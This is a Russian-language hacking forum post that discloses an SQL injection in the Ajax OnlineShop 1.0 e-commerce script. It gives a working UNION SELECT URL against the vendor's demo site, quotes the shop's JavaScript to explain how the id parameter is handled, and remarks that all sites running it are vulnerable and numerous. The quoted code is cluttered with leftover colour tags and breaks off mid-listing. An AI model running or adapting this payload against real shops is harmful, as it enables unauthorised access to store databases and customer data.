Показать сообщение отдельно

  #8  
Старый 13.11.2010, 11:31
547
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
С нами: 8728261

Репутация: 211
По умолчанию

Ajax OnlineShop 1.0

SQL Injection

оффсайт:

Код:
http://www.ajax-onlineshop.de/demo/index.php?id=4997+UNION+SELECT+1,2,3,version%28%29,5,6,7,8%20--+#seo_loaded%28-4997%29


параметр index.php?id= прийдется дописывать самому из за функции:document.URL.split


PHP код:
[COLOR="#000000"]// if get id in url but no #

if ( ([COLOR="#0000BB"][/COLOR] != 0) && (![COLOR="#0000BB"][/COLOR]) && (document.URL.search(/#.+/) == -1) ) {

wohinJS = 'reload';

var start_name = document.URL.split ('?id=');

var hist_event_name = start_name[0] + "(" + start_name[1] + ")"; // generate history-event-name

addHistoryEvent('seo_loaded('+ start_name[1] +')', start_name[1]); // load requested page

}

else {

var start_name = document.URL.split ('#');

[COLOR="#0000BB"]

[/
COLOR] if (start_name[1]) { // exist history-ID in url...

wohinJS = 'reload';

start_name = start_name[1].split ('('); // ...yes, split the name

var start_id = filterZahl(start_name[1]); // extract the id // del wenn sicher: filterZahl(start_url)

//$('log').innerHTML = start_name[0] + " - " + start_id; // testing

var hist_event_name = start_name[0] + "(" + start_id + ")"; // generate history-event-name

addHistoryEvent(hist_event_name, start_id); // load requested page

}

else { // ...no, then load shop-startpage

[COLOR="#0000BB"][/COLOR][/COLOR
уязвимы все сайты,их достаточно много
 
Ответить с цитированием